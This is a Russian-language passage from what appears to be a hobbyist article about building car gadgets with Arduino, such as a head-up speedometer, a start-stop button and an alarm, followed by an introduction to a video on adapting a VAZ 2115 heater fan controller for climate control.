Как видите, микроплата Arduino — это универсальный вариант, с помощью которого можно создать множество различных девайсов. Помимо вышеописанных устройств, вы также можете соорудить спидометр, который будет выдавать информацию о скорости прямо на лобовое стекло, кнопку старт-стоп, и даже сигнализацию для транспортного средства. В целом вариантов очень много, если подойти к вопросу изготовления самодельного гаджета правильно, то у вас все получится.

Разумеется, для этого вы должны обладать знаниями в области электроники и электротехнике, при этом минимальных навыков, вероятнее всего, будет недостаточно. При изготовлении девайсов вам придется принимать собственные решения, о чем в Интернете может и не быть информации. Поэтому будьте готовы к тому, что процесс сборки может занять достаточно долгое время.

Видео «Как соорудить систему управления электродвигателем печки?»

Из видео ниже вы сможете узнать, как обустроить климат-контроль путем доработки регулятора отопительной системе на примере автомобиля ВАЗ 2115 (автор ролика — Иван Никульшин).